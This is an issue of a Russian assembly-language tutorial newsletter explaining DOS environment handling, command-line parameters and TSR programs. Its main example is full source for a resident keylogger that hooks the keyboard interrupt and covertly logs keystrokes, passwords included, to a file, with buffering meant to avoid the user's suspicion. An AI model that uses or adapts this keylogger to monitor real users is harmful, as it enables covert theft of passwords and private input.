Калашников.ru - Ассемблер? Это просто!.. (Выпуск № 023) Ассемблер? Это просто! Учимся программировать

______________________________________

Выпуск N 023 (Резидент)

Доброе время суток, уважаемые подписчики!

Сегодня в номере:

Информация для новеньких. Часто задаваемые вопросы от новичков.

Ваши письма. Проблемы с ответами

Сотрудничество

Резидент

Информация для новеньких

Прежде чем приступать к изучению материала в данном выпуске, Вам необходимо ознакомиться с предыдущими.

Всю нужную информацию (предыдущие выпуски, адреса экспертов, необходимые программы, документацию, а также многое другое) можно найти на сайте http://www.Kalashnikoff.ru. Рекомендую Вам прежде ознакомиться с разделом "Информация для новых подписчиков".

Если у Вас нет выхода в Сеть, то предыдущие выпуски рассылки, информацию для новеньких и адреса экспертов можно получить по почте, направив пустое письмо по адресу AssmNew@Kalashnikoff.ru. Информация (320 Кб) будет выслана Вам в течение двух рабочих дней с момента получения Вашего письма. Однако, пожалуйста, не злоупотребляйте этим, т. к. высылка писем подобного объема несет дополнительную нагрузку на почтовые сервера.

_______

Самая большая ошибка, которую допускают новички

Многие из вас, уважаемые новые подписчики, стараются побыстрее догнать остальных, что ни к чему толковому не приводит. По выпускам-то вы догоняете, но не по знаниям. Пожалуйста, не спешите! Внимательно знакомьтесь со всеми предыдущими выпусками! Иначе придется потом все начинать с начала... Я часто получаю вопросы, ответы на которые есть в следующих выпусках или которые были в предыдущих. Дорогие мои, я не могу перепечатывать вам предыдущие выпуски или искать, в каком номере рассылки находится ответ на ваш вопрос. Единственный совет: будьте терпеливы и внимательны!

_______

Вопросы от новичков.

Ко мне приходит очень много объемных вопросов. Я, к сожалению, при всем своем желании не могу отвечать ВСЕМ, т.к. это отнимает огромное количество времени. Дорогие мои! Я просто не смогу вести рассылку, работать, учиться и отдыхать, если буду отвечать на все ваши вопросы такого плана.

Хочу посоветовать еще раз: читайте внимательно предыдущие выпуски рассылки. Там все изложено более-менее по порядку. Не спешите! Я понимаю, что вам хочется быстрее догнать ушедших вперед подписчиков. Читайте все внимательно! В рассылке я писал и про работу отладчика, и про ассемблирование программ и про многое другое, что вы спрашиваете в письмах...

Более того, могу сказать, что вам, уважаемые новички, повезло гораздо больше, чем тем подписчикам, которые подписались раньше. В первой главе книги я постарался обратить внимание на все те моменты, дать ответы на наиболее часто задаваемые вопросы, которые обычно интересуют новых читателей. Вам осталось только все внимательно и не торопясь читать и учиться!

Добавлю еще, что для всех новых подписчиков теперь доступна помощь экспертов, адреса которых вы можете найти в архиве. Прежде всего, пытайтесь сами найти выход из тупиковой (как вам кажется) ситуации, затем (если решение не найдено) задавайте вопросы экспертам. Если же все равно ничего не поймете, то обращайтесь ко мне, цитируя переписку с экспертами, а также предоставьте максимум информации о сложившейся проблеме и ваши способы ее решения.

Ваши письма. Проблемы с ответами

Уважаемые подписчики!

Во-первых, я хотел бы извиниться дважды за свое упущение.

1. В предыдущем, 22-ом выпуске я проворонил одно словечко, которое обычно в рассылках не публикуется. Я прошу прощения и обещаю, что подобного больше не повториться. Более того, я заменил это слово на другое, общеупотребительное. Так что, новые подписчики будут получать измененный вариант. Хочу также попросить читателей, присылающих письма, впредь не допускать в письмах ненормативной лексики. Спасибо.

2. Я допустил ошибку в 18 номере. Фамилию известного певца следует читать как Мулявин. Прошу прощения.

Во-вторых, на прошлой неделе пришло огромное количество писем, касающихся записи вируса в flash и CMOS. Мнения разделились полностью. К огромному сожалению, я не могу привести их все в данном выпуске, т.к. это займет почти все место в рассылке. Поэтому я в скором времени опубликую их на сайте. Жаль, что пока нет времени написать программку на Перле, которая бы автоматически опубликовывала ваши письма и ответы на них. Получился бы очень даже неплохой форум узкой направленности... Но скоро все будет!

Все желающие смогут в ближайшие дни посмотреть мнения подписчиков по указанным выше темам на сайте http://www.Kalashnikoff.ru.

В-третьих, хочу поблагодарить всех, кто откликнулся на мой "крик о помощи" помочь в переводе с одного формата в другой. Писем пришло много. Но, как вы понимаете, мне нужно всего 2-3 помощника. Со временем я разберусь с вашими письмами и напишу ответ. Пожалуйста, не высылайте больше предложений!

В-четвертых, у меня было очень мало времени раньше. Я, возможно, вас разочарую, если скажу, что с сегодняшнего дня его будет еще меньше. Дело в том, что у меня поменялись обязанности. Теперь занимаю должность системного администратора (слежу за работой программного обеспечения, телефонной линией, мини-АТС, локальной сетью и Интернет). Работы на ближайший месяц - море. Нужно установить новый сервер, подключить к нему компьютеры, настроить их и пр. Более того, мы теперь устанавливаем новую телефонную станцию в офисе, с которой я никогда раньше не сталкивался. Нужно будет ознакомиться с инструкцией, а потом попробовать сделать так, чтобы эта штуковина заработала, что не так просто...

Так что, друзья мои, вы уж не обижайтесь, если я кому-то не отвечу в срок или не пришлю ответ вообще. Поверьте, я внимательно знакомлюсь со всеми вашими письмами, стараюсь следовать вашим советам. Тем не менее, к сожалению, бывают длинные задержки с ответами... Чтобы не потерять работу и, тем самым, не закрыть рассылку, мне придется выполнять прежде всего обязанности, возложенные на меня трудовым договором, а уж потом - заниматься своими личными делами. Однако, я стараюсь уделять внимание как работе, так и рассылкам. Вторым, как правило, я занимаюсь дома по выходным или после работы (если позволяет время).

Сотрудничество

Дорогие мои друзья! Хотел я рассказать кое что об интересном ресурсе в Интернете, с автором которого у меня начинает завязываться сотрудничество. Перед самым выходом данного номера, выяснилось, что его очень сильно подвел хваленый мной некогда сервер AGAVA.RU. Очень жаль, а так хотелось поделиться с вами своим открытием! Сайт действительно был стоящий, аналогов которому в Интернете практически не существует. Ну что ж, надеюсь, что автор проекта восстановит все до выхода следующего выпуска нашей рассылки, и тогда я расскажу вам о его проекте.

Резидент

RESID23.ASM

; RESID23.ASM - программа к рассылке № 23 ; (С) Авторское право на файл-приложение принадлежит подписчикам рассылки "Ассемблер? Это просто! Учимся программировать" ; Автор рассылки: Калашников Олег Александрович (e-mail: Assembler@Kalashnikoff.ru) ; http://www.Kalashnikoff.ru ; === Начало программы: === .286 cseg segment assume cs:cseg, ds:cseg, ss:cseg, es:cseg org 100h Begin: jmp Init ; на метку инициализации ; === Обработчик 10h-ого прерывания === Int_10h_proc proc cmp ax,0FAAFh ;Это мы проверяем на повторную загрузку? jne Next_step ;Нет - смотрим дальше...  xchg ah,al ;Да - меняем местами ah/al iret Next_step: cmp ax,0FBAFh ;Это мы получаем текущий адрес log-файла? jne Run_int ;Нет - передаем управление 10h-прерыванию...  push cs ;Заносим в ES сегмент log-файла. pop es mov di,offset File_name ;Заносим в DI смещение log-файла iret ;Выходим... Run_int: jmp dword ptr cs:[0F8h] ;Передаем управление 10h-прерыванию. Int_10h_proc endp ; === Обработчик 09h-ого прерывания === Int_09h_proc proc cli ;Запрещаем все прерывания pushf ;Дадим сперва управление... call dword ptr cs:[0FCh] ;...оригинальному обработчику pusha ;Сохраним регистры в стеке... push es push ds cld ;Направление - вперед! in al,60h ;Получим СКАН-КОД нажатой клавиши. test al,10000000b ;(=80h) Это отпускание клавиши? jnz Exit_09h ;Если так, то сохранять ее код не надо  mov ax,cs ;Сегментные регистры должны указывать на наш сегмент. mov ds,ax mov es,ax mov ah,1 ;Получим ASCII-код нажатой клавиши. int 16h jz Ext_code ;Буфер клавиатуры пуст? Тогда на выход.  or al,al ;Введен расширенный код? jz Flash_buffer ;Тогда сохраним все, что вводили.  cmp al,13 ;Нажали Enter? jz Flash_buffer ;Тогда сохраняем введенные символы.  cmp al,27 ;ESC пропускаем... jz Ext_code cmp al,8 ;Нажали Backspace? jz Del_sym ;Тогда удаляем последний символ из буфера  cmp al,09 ;Нажали TAB? jne NoTab_pressed ;Тогда просто поменяем его на пробел. mov al,32 NoTab_pressed: cmp al,32 ;Нажали что-то непонятное (код меньше 20h)? jb Ext_code ;Тогда на выход...  call Store_sym ;Иначе заносим введенный символ в буфер клавиатуры.  Ext_code: Exit_09h: pop ds ;Восстановим сохраненные регистры... pop es popa sti ;Разрешим прерывания и iret ;выходим из процедуры. Flash_buffer: call Save_string ;Сохраняем введенную строку в файл.  jmp short Exit_09h ;На выход.  Del_sym: call Del_symbol ;Пользователь нажал BackSpace! jmp short Exit_09h ;На выход.  Int_09h_proc endp ; === Удаляем введенный символ, если пользователь нажал BackSpace === Del_symbol proc mov ax,cs:[0F6h] ;Занесем в AX количество введенных символов. or ax,ax ;Буфер пуст? jz Exit_del ;Тогда на выход.  dec word ptr cs:[0F6h] ;Иначе уменьшаем счетчик. Exit_del: ret Del_symbol endp ; === Заносим введенный символ в наш буфер === Store_sym proc mov di,cs:[0F6h] ;Занесем в DI количество введенных символов cmp di,79 ;Оно больше 79? jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ.  push di ;Иначе сбросим буфер в файл. push ax call Save_string pop ax pop di OK_store: stosb ;Занесем очередной символ в буфер. inc word ptr cs:[0F6h] ;Увеличим счетчик. ret ;Вернемся...  Store_sym endp ; === Записываем введенную строку в файл === Save_string proc mov di,cs:[0F6h] ;Занесем в DI количество символов в буфере. or di,di ;Оно равно 0? jz Nothing_save ;Тогда писать в файл ничего не надо.  add word ptr cs:[0F6h],2 ;Иначе допишем к концу строки... mov ax,0A0Dh ;...переход на новую строку stosw ;(для удобства чтения). mov ax,3D02h ;Откроем файл для чтения/записи. mov dx,offset File_name int 21h jc Nothing_save ;При ошибке - на выход...  mov Handle,ax mov bx,ax mov ax,4202h ;Установим указатель на конец файла. xor cx,cx xor dx,dx int 21h mov cx,cs:[0F6h] ;CX=количество записываемых символов. mov bx,Handle xor dx,dx ;Пишем с самого начала буфера. mov ah,40h int 21h ;Добавляем в файл введенные символы... mov bx,Handle ;Закроем файл. mov ah,3Eh int 21h Nothing_save: mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода. ret ;Вернемся. File_name db 'c:\keys', 19 dup (0) ;Имя файла для хранения введенных символов. Handle dw ? Save_string endp ; === Инициализация (подготовка и настройка резидента) === Init: mov ax,0FAAFh ;Проверка на повторную загрузку. int 10h cmp ax,0AFFAh jne Next_step2 mov ah,9 ;Мы уже в памяти! Выведем соответствующую строку. mov dx,offset Mess_memory int 21h mov ax,0FBAFh ;Получим сегмент и смещение имени log-файла int 10h mov dx,di ;Получим командную строку call Get_cmd jc No_cmdline mov ah,3Ch ;Создадим новый файл для записи введенных символов. xor cx,cx ;Атрибуты обычные push es pop ds int 21h push cs pop ds mov bx,ax mov ah,3Eh ;После создания/открытия файла, его нужно закрыть! int 21h No_cmdline: ret ;Выйдем в DOS... Next_step2: mov di,offset File_name ;DI - куда будем заносить параметры ком.строки. call Get_cmd ;Получим командную строку...  mov ah,9 lea dx,Mess_hello ;!!! LEA DX вместо MOV DX, OFFSET int 21h mov es,word ptr cs:[2Ch] ;Получим сегмент окружения DOS. mov ah,49h ;Функция освобождения памяти. int 21h ;Освобождаем память... mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода символов. ;Проверим, существует ли уже наш log-файл. mov ax,3D00h mov dx,offset File_name int 21h jnc Ok_file ;Если не существует, то: mov ah,3Ch ;Создадим новый файл для записи введенных символов. xor cx,cx ;Атрибуты обычные mov dx,offset File_name int 21h Ok_file: mov bx,ax mov ah,3Eh ;После создания/открытия файла, его нужно закрыть! int 21h ; === 09h === mov ax,3509h int 21h ;Получим и сохраним адрес (вектор) 09h прерывания mov word ptr cs:[0FCh],bx ;Смещение... mov word ptr cs:[0FEh],es ;Сегмент... mov ax,2509h lea dx,Int_09h_proc int 21h ;"Повесим" нашу процедуру на 09h прерывание ; === 10h === mov ax,3510h int 21h ;Получим и сохраним вектор 10h прерывания mov word ptr cs:[0F8h],bx mov word ptr cs:[0FAh],es mov ax,2510h lea dx,Int_10h_proc int 21h ;"Повесим" нашу процедуру на 10h прерывание lea dx,Init int 27h ;Оставим часть программы в памяти. ; --- Получим параметры в командной строке --- Get_cmd proc mov si,80h ;SI=смещение командной строки. lodsb ;Получим кол-во символов. cmp al,25 ;Больше 25? ja No_string ;Да - на метку No_string  or al,al ;Нет командной строки? jz No_string ;На метку No_string  inc si ;Теперь SI указывает на первый символ строки. Next_char: lodsb ;Получаем очередной символ. cmp al,0Dh ;Конец строки? je Got_cmd ;Да - на выход...  stosb ;Иначе - сохраним символ в переменной File_name jmp short Next_char ;Следующий символ...  Got_cmd: xor al,al ;Строка получена! Допишем ASCII 0 в конец stosb clc ;Сбросим флаг переноса... ret ;Выходим из процедуры No_string: stc ;Строка неверна! Установим флаг переноса. ret ;Выходим из процедуры Get_cmd endp ; === Сообщения === Mess_hello db 'Резидент к рассылке № 023 "Ассемблер? Это просто! Учимся программировать".',0Ah,0Dh,0Ah db 'Автор: Калашников Олег Александрович (Assembler@Kalashnikoff.ru),',0Ah,0Dh db 'http://www.Kalashnikoff.ru, Россия, Москва, 2001 год.',0Ah,0Dh,0Ah db 'Для смены текущего LOG-файла необходимо запустить данную программу вновь,',0Ah,0Dh db 'указав в параметрах командной строки новый путь к файлу не более 25 символов.',0Ah,0Dh,'$' Mess_memory db 0Ah,0Dh,'Программа уже загружена в память! Произведены следующие действия:',0Ah,0Dh,0Ah db '* Если в командной строке не указан LOG-файл, то существующий обнуляется.',0Ah,0Dh db '* Если файл указан (например: RESID23.COM D:\KEYS.TXT), то он создается.',0Ah,0Dh,'$' cseg ends end Begin

ENV23.ASM

; ENV23.ASM - дополнительная программа к рассылке № 23 ; (С) Авторское право на файл-приложение принадлежит подписчикам рассылки "Ассемблер? Это просто! Учимся программировать" ; Автор рассылки: Калашников Олег Александрович (e-mail: Assembler@Kalashnikoff.ru) ; http://www.Kalashnikoff.ru ; === Начало программы: === cseg segment assume cs:cseg, ds:cseg, ss:cseg, es:cseg org 100h Begin: mov ax,3 int 10h ;Чистим экран mov ax,cs:[2Ch] mov ds,ax ;DS указывает сегмент окружения DOS xor si,si ;SI - смещение mov ah,2 ;Функция вывода одного символа на экран Next_char: lodsb ;Получаем первый символ or al,al ;Это нуль? jz End_param ;Да - тогда первый параметр закончился  Next_param: mov dl,al ;Нет, не нуль. Тогда выводим полученный символ... int 21h ;...на экран в текущую позицию курсора jmp short Next_char ; Приступаем к следующему символу...  End_param: mov dl,0Ah ;Достигнут конец первого параметра int 21h ;Выведем возврат каретки / перевод строки, mov dl,0Dh ;чтобы параметры не были в куче, а каждый начинался int 21h ;со следующей строки. lodsb ;Получим очередной символ из строки окружения DOS or al,al ;Если это 0, то все параметры выведены. jnz Next_param ;Пора выходить в DOS. ;Иначе - выводим очередной параметр...  int 20h cseg ends end Begin

Файл-приложение в Интернете для ленивых: http://www.Kalashnikoff.ru/Assembler/Issues/Enclosures/Resid23.rar.

Сегодня у нас резидент, как резидент. Ничего особенного. Хотя, постойте! Я ведь не могу делать обычные выпуски. Нам нужно скорее переходить к Windows! С каждым очередным номером вы должны узнавать что-то новое, полезное для себя. Вот и сегодня мы рассмотрим очень интересные вещи, которые не затрагивали в предыдущих выпусках. И как обычно на элементарном примере, чтобы было всем понятно. Вероятно, особо любопытные читатели уже давно открыли для себя все то, что будет в этом выпуске. Если так, то я очень рад.

Итак, сегодня мы узнаем:

что такое окружение DOS; как уменьшить размер резидента в памяти; как менять "на лету" параметры резидента; как получить переданные нашей программе параметры в командной строке; как фиксировать в файл нажимаемые пользователем клавиши (в т.ч. и ввод паролей в DOS'е); и прочее, по мелочам.

Интересно? Надеюсь, что так...

______________

Прежде, чем начнем рассматривать подробно работу резидента, я бы хотел обратить ваше внимание на то, как мы теперь задаем имя файла, в котором будем хранить нажатые пользователем клавиши (в дальнейшем этот файл именуется, как log-файл).

В одном из предыдущих выпусков нашей рассылки, мы сохраняли действия программ (запуск, создание, удаление файла, создание / удаление каталога и пр.) тоже в log-файле, имя которого задавали перед ассемблированием программы. Т.е. в последствии, после ассемблирования, мы не могли менять его имя и местоположение в каталогах (ну, если не менять его самим в com-файле, используя какой-нибудь текстовый редактор типа Hacker's View).

Теперь же наш резидент стал более гибким. Имя log-файла можно задавать при запуске программы, указав его в параметрах командной строки. Например:

RESID23.COM c:\assm\log_file.txt

После загрузки, резидент создаст файл c:\assm\log_file.txt, в который и будет заносить нажатые пользователем клавиши.

Но это еще не все! Допустим, мы загрузили резидент. Допустим, перед загрузкой указали имя log-файла a:\super\file.log. А что, если мы хотим изменить имя log-файла, не перезагружая резидент (т.е. не удаляя его из памяти, а затем не загружая его снова с новым параметром в командной строке)? Возможно ли такое? Вот с этим, в частности, мы и будем разбираться сегодня.

Но и это еще не все! А что, если мы, запуская резидент, не укажем никаких параметров в командной строке? И нужно ли их всегда указывать? Как вы поняли, естественно не нужно. Если резидент загружается, и в параметрах командной строки ничего не указано, то он создает по умолчанию файл c:\keys, куда и будет заносить всю информацию.

Как такое возможно, мы и рассмотрим в настоящем выпуске.

Передача и получение параметров в/из командной строки.

Прежде всего разберем, что из себя представляют параметры командной строки. Мы уже вкратце рассматривали данную тему. Сейчас заполним пробелы.

Параметры командной строки указываются при запуске файла и должны располагаться после имени запускаемого файла. Например:

SYS.COM C: A:

Здесь "SYS.COM C: A:" - командная строка, а "C: A:" - параметры командной строки, которые передаются файлу SYS.COM. В данном примере SYS.COM скопирует системные файлы с диска С: на диск А:. Как же нашей программе получить эти параметры?

Все очень просто! Как уже общеизвестно, параметры командной строки, передаваемые файлу, располагаются в PSP по смещению 80h. PSP, в свою очередь, находится в том сегменте, в который загрузился наш com-файл. Проще говоря, первая инструкция com-файла начинается со смещения 100h (ORG 100h), а по смещению 80h находятся параметры командной строки, а также по умолчанию DTA (помните, как мы переносили тело вируса в область экрана для того, чтобы не затереть эти параметры при поиске файлов?). Как они там оказываются? Просто, прежде, чем наша программа получит управление, DOS сама занесет их по этому адресу. Вот и весь фокус!

Что конкретно находится по смещению 80h? Какова структура размещения параметров?

Все опять-таки очень просто. Первый байт, располагающийся по смещению 80h, указывает на длину командной строки. Если файлу никаких параметров не было передано, то этот байт будет равен нулю.

Второй байт, как правило, - пробел (20h). За ним идет собственно то, что мы указали после имени запускаемого файла. Заканчиваются параметры командной строки символом 0Dh (код клавиши "Enter").

Вот таблица:

+80h +81h +82h ? Длина "Пробел" (20h = 32) Параметры Символ 0Dh (13) Допустим, мы запускаем программу SYS.COM таким образом:

SYS.COM C: D:

Тогда по смещению 80h будет находится следующее:

+80h +81h +82h +87h 06h "Пробел" (20h = 32) 43h 3Ah 20h 44h 3Ah Символ 0Dh (13) Примечание. 43h 3Ah 20h 44h 3Ah - ASCII-символы "C:_D:" (символ "_" - пробел).

Длина 06 байт потому, что DOS считает пробел, расположенный по адресу 81h, как символ командной строки.

Окружение DOS.

В окружении DOS находятся параметры, которые указываются в файле autoexec.bat. Например:

PATH C:\WINDOWS;C:\WINDOWS\COMMAND

COMSPEC=C:\COMMAND.COM

TEMP=C:\TEMP

PROMPT=$P$G

и прочие.

Окружение DOS передается каждой программе, которая загружается (не важно, резидент это или оболочка DOS).

Читая информацию из окружения DOS, многие программы находят файлы, которые указаны в PATH. Более того, так действуют некоторые вирусы, заражающие файлы по пути, указанном после PATH.

Где же находятся все эти параметры? Они располагаются в сегменте, адрес которого можно найти в PSP по смещению 2Ch. Смещение окружения всегда нулевое. Пример будет ниже. Прежде рассмотрим, чем данное окружение может помешать нашему резиденту.

Дело в том, что, как вы вероятно заметили, резидент, как правило, занимает больше места в памяти, чем на диске. Иными словами, com-файл на винчестере может "весить" 130 байт, а в памяти - 350 и более байт (числа условные). Почему так происходит?

Вспомните, что перед вызовом 27h прерывания (которое оставляет программу в памяти) необходимо указать в регистре DX последний освобождающийся байт. Все, что идет перед смещением, указанном в DX, остается в памяти. Вот таблица:

  Смещение Что находится * 0000h Начало PSP. Команда INT 20h * 002Ch Сегментный адрес окружения DOS * 0080h Командная строка и по умолчанию DTA * 00FFh Последний байт PSP ** 0100h Метка начала программы (напр.: Begin:) ** --- Тело резидента. Т.е. то, что будет постоянно находиться в памяти   0134h Метка, указывающая на то, что после нее можно освобождать память (напр.: Init) X --- Инициализация резидента (вывод сообщений на экран, получение, сохранение и установка векторов прерываний и пр.) X 0154h Команда INT 27h (оставляет часть программы в памяти и выходит в DOS) X 0156h Данные, строки для вывода и пр., что не требуется резиденту в процессе работы. Необходимы только для того, чтобы вывести сообщения на экран, сохранить в процессе инициализации резидента некоторые переменные и пр. Удаляются из памяти после выполнения команды INT 27h. Примечания.

Символом "звездочка" (*) отмечен PSP, который остается в памяти вместе с резидентом. Символом "две звездочки" (**) отмечена резидентная часть (часть нашей программы, остающаяся в памяти). Вспомним, что метки памяти не занимают. Символом "икс" (Х) отмечена часть программы, которая удалится из памяти после вызова прерывания 27h.

Как я уже говорил, PSP нашему резиденту абсолютно не нужно. В нашем примере мы используем его (256 байт), как буфер (хотя можно и сместить программу на 100h байт, но этим мы займемся в последующих выпусках). Вот и считайте: наша программа, остающаяся в памяти + 256 байт PSP (не будем брать во внимание ту часть программы, которая удаляется после вызова 27h).

Но и это еще не все, что остается в памяти и "висит" вместе с резидентной частью нашей программы (резидентная часть - та часть программы, которая остается в памяти. Резидент - более широкое понятие, включающее в себя еще и процедуру инициализации. Иногда я называю резидентом резидентную часть, что не совсем верно, зато коротко. Думаю, что вы меня понимаете).

Так что же еще оставляет резидент вместе с собой в памяти? Ответ прост: окружение DOS, которое может занимать 32 и более килобайт, но, как правило, "тянет" на 50-100 байт. Вроде мелочи, а неприятно... Да и не "эстетично" это. Посмотрит "крутой" программист нашу программу и скажет: "Вот это ламеры писали. Сразу видно!". Как же нам избавиться от окружения DOS, тем самым поднявшись на ступеньку выше к профессионализму?

Здесь не совсем просто, но вы без труда поймете. Я уверен.

Итак, повторю еще раз. В PSP по смещению 2Ch находится сегмент окружения DOS. Вспомните, как мы в одном из прошлых выпусков урезали память и отводили блок памяти. Тоже самое нам надо сделать и с окружением DOS.

Вот, как это выглядит в файле-приложении:

mov es,word ptr cs:[2Ch] ;Получим сегмент строки окружения.

mov ah,49h ;Функция освобождения памяти.

int 21h ;Освобождаем память...

Функция 49h прерывания 21h освобождает блок памяти:

Вход: AH=49h

ES=сегмент распределенного блока Выход: JC - ошибка, при этом:

AX-код ошибки После выполнения данной функции, память освобождается. Это легко проверить, если запустить резидент, при этом освобождая память (т.е. используя функцию 49h) и, соответственно, не освобождая. Размер занимаемой памяти тем или иным резидентом можно посмотреть, например, в DOS Navigator'e или Volcov Commander'e. Попробуйте, поэкспериментируйте!

Для того, чтобы лучше понять что такое окружение DOS, я прилагаю к данной рассылке программу ENV23.ASM, которая выводит на экран все переменные DOS, указанные в autoexec.bat. Настоятельно рекомендую вначале запустить данный файл и посмотреть результат. Затем запустить его под отладчиком и тщательно изучить! Причем, прямо сейчас. Это очень важно!

Ну вот, разобрали мы окружение DOS. Надеюсь, что вопросов по данной теме быть не должно...

___________

Теперь подробней о работе резидента.

Даже не знаю, с чего начать... Начну с середины.

Как я уже говорил, наш резидент сохраняет в файле нажатые пользователем клавиши. Как именно он это делает?

В данном случае мы будем использовать PSP в качестве буфера, в котором будет храниться определенное количество ASCII-кодов нажатых клавиш, которые, в свою очередь, будут периодически (после выполнения определенных условий) сохраняться в файле. Можно, конечно, сохранять сразу же нажатую клавишу, но это будет не совсем красиво, да и пользователь заподозрит "что-то ненормальное". Хорошо, если в памяти загружен Smartdrive. А если нет? Тогда винчестер будет каждый раз, после очередного нажатия, записывать код данной клавиши, что в какой-то степени замедлит работу.

Куда проще сохранять в буфер, скажем, максимум 80 символов, а затем их сбрасывать в файл. Более того, мы сможем производить некоторую коррекцию вводимых пользователем строк. Например, замеченные опечатки, которые будут меняться при нажатии на BackSpace. Мы в памяти также будем это делать, что избавит LOG-файл от "мусора".

Договорились, что будем использовать PSP в качестве буфера. Все равно память, отведенная под PSP резиденту не нужна. А это, как уже отмечалось, лишние 256 (100h) байт. Зачем добру пропадать?

Клавиши будут сохраняться, начиная со смещения 0 сегмента, в который загрузился наш резидент. По смещению 00F6h будем хранить смещение, по которому следует заносить очередной символ (и, в тоже самое время, количество введеных пользователем символов). В принципе, хватило бы и одного байта, но слово удобнее будет использовать, например, при записи символов в файл.

Когда будем производить сброс буфера в LOG-файл?

Сброс буфера будет производиться в случае, если:

1. Пользователь нажмет Enter;

2. Пользователь нажмет клавишу, код которой расширенный (например: F1 - F10, "стрелки" и пр.);

3. Пользователь введет 80 символов, ни один из которых не будет равен коду, перечисленному в пунктах 1 и 2 (дабы избежать переполнения буфера).

Зачем мы сбрасываем буфер, если пользователь нажимает клавишу, ASCII-код которой расширенный? Думаю, что вы поймете сами, при экспериментах...

Заносить очередной символ в буфер будет процедура Store_sym:

__________

(1) mov di,cs:[0F6h] ;Занесем в DI количество введенных символов

(2) cmp di,79 ;Оно больше 79?

(3) jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ.

(4) push di ;Иначе сбросим буфер в файл.

(5) push ax

(6) call Save_string

(7) pop ax

(8) pop di

(9) OK_store:

(10) stosb ;Занесем очередной символ в буфер.

(11) inc word ptr cs:[0F6h] ;Увеличим счетчик.

(12) ret ;Конец процедуры...

__________

Никаких вопросов здесь не должно возникнуть, кроме строки (3). Даже если и непонятно что-то, то ничего страшного! Стоит разобраться полностью с резидентом (почитать описания к нему), и все станет на свои места. Однако, я рекомендую прежде прочитать выпуск до конца.

Обратите внимание, что в строках (2) - (3) мы проверяем на то, больше ли число 79, чем то, которое находится в регистре DI. Если меньше, то переходим на метку OK_store. Это, как вы уже знаете, - условный переход. Однако, данную инструкцию мы не рассматривали пока. В принципе, должно быть все понятно. Если JE (Jump if Equal) - это переход, если равно (т.е. если приемник равен источнику), то JB (Jump if Below - переход, если меньше) - это, как уже ясно из перевода, переход, если приемник меньше источника (т.е. в данном случае, если DI меньше 79).

Вот таблица (примеры ниже):

JB (Jump if Below) Переход, если приемник меньше источника JBE (Jump if Below or Equal) Переход, если меньше или равно JNB (Jump if Not Below) Переход, если не меньше (равносильна JAE) JA (Jump if Above) Переход, если больше JAE (Jump if Above or Equal) Переход, если больше или равно JNA (Jump if Not Above) Переход, если не больше (равносильна JBE) Примеры.

_________

mov ax,34

cmp ax,35

Переход будет выполнен при использовании следующих команд после сравнения:

JNE JAE JNA JB JBE

Переход НЕ будет выполнен при использовании следующих команд после сравнения:

JE JA JNB

Пожалуйста, внимательно разберите и проанализируйте приведенные выше команды!

_________

С процедурой Save_string никаких вопросов не должно возникнуть. Пройденный материал...

_________

Еще рассмотрим должным образом два новых оператора: STC, CLC:

Название Перевод Применение Процессор STC SeT Carry flag Установка флага переноса 8086 Данная команда устанавливает флаг переноса, а следующая - сбрасывает его:

Название Перевод Применение Процессор CLC CLear Carry flag Сброс флага переноса 8086 Для чего нужны данные команды? Где они обычно применяются?

Как правило, я ими пользуюсь перед выходом из процедуры (не обращайте особого внимания на приведенные ниже команды. Главное - понять принцип.):

call Find_symbol

jc Not_found

Допустим в данном примере вызывалась процедура поиска какого-то символа в памяти. В конце этой процедуры я обычно устанавливаю флаг переноса, если символ найден, и сбрасываю, если нет. Это проще и быстрее, чем если бы мы использовали для этой цели регистр:

call Find_symbol

cmp ax,1

je Not_found

Т.е., если AX=1, то символ не найден. Как видите, удобнее пользоваться флагом переноса. Однако, следует помнить, что некоторые команды могут менять этот флаг. Поэтому нужно придерживаться следующих правил:

1. Между установкой / сбросом флага переноса и его проверкой не следует вызывать никакие прерывания или пользоваться командами типа ADD, SUB, MUL и пр.

2. Проверять флаг как можно быстрее, после его установки / сброса

Далее. Рассмотрим еще одну команду управления флагами:

Название Перевод Применение Процессор STD SeT Destination flag Установка флага направления 8086 ______

Название Перевод Применение Процессор CLD CLear Destination flag Сброс флага направления 8086 Что делают данные команды? Для чего служит флаг направления?

Данный флаг служит для указания направления для инструкций работы со строками (LODS, STOS, MOVS и пр.). До сих пор мы перемещали байты только вперед, т.е., например, от 0 до 4000, а не от 4000 до 0 (вспомните вирус, который перемещал свой код в область видеопамяти). Так вот, этот флаг отвечает за то, каким образом производить перемещение, поиск и пр. Иначе говоря, в каком направлении (отсюда и название флага - флаг направления). Как правило, направление идет вперед, и, следовательно, флаг обычно сброшен. Но бывают случаи, когда необходимо установить флаг, тем самым производя работу "назад".

В нашей резиденте мы сбрасываем флаг направления для того, чтобы команды LODS, STOS и пр., используемые в нем, работали "вперед".

Как я уже говорил, некоторые прерывания (в т.ч. и 09) могут быть вызваны в любой момент работы какой-нибудь программы (в тот момент, когда пользователь нажмет клавишу). Установлен ли этот флаг или сброшен - нам не известно. Проще всего сбросить его самим в самом начале резидентной части, что мы, собственно, и делаем:

cld ; Направление - вперед!

Повторю еще раз: как правило этот флаг сброшен, но лучше не рисковать! Практиковаться с ним мы будем позже, скорее всего, при написании оболочки. Так что заострять внимание на данном флаге сегодня мы не будем.

Поехали дальше.

_________

Допустим, наш резидент загружен в память и уже успешно работает (т.е. фиксирует нажатые пользователем клавиши в LOG-файле). А что, если мы хотим поменять имя LOG-файла в процессе работы резидента?

Для этой цели мы будем использовать процедуру обработки 10h прерывание. Впрочем, и не только для этой цели. Она нам необходима еще и для того, чтобы проверять на повторную загрузку резидента:

(1) Int_10h_proc proc

(2) cmp ax,0FAAFh ;Это мы проверяем на повторную загрузку?

(3) jne Next_step

(4) xchg ah,al

(5) iret

(6) Next_step:

(7) cmp ax,0FBAFh ;Это мы получаем текущий адрес log-файла?

(8) jne Run_int

(9) push cs ;Заносим в ES сегмент log-файла.

(10) pop es

(11) mov di,offset File_name ;Заносим в DI смещение log-файла

(12) iret

(13) Run_int:

(14) jmp dword ptr cs:[0F8h]

(15) Int_10h_proc endp

В строках (2) - (5) мы проверяем, вызывается ли прерывание 10h с числом 0FAAFh. Если так, то меняем местами AH / AL, что сигнализирует нашему резиденту, загружаемому повторно, о том, что он уже в памяти. Это мы рассматривали подробно в предыдущих выпусках. Так что вопросов быть не должно...

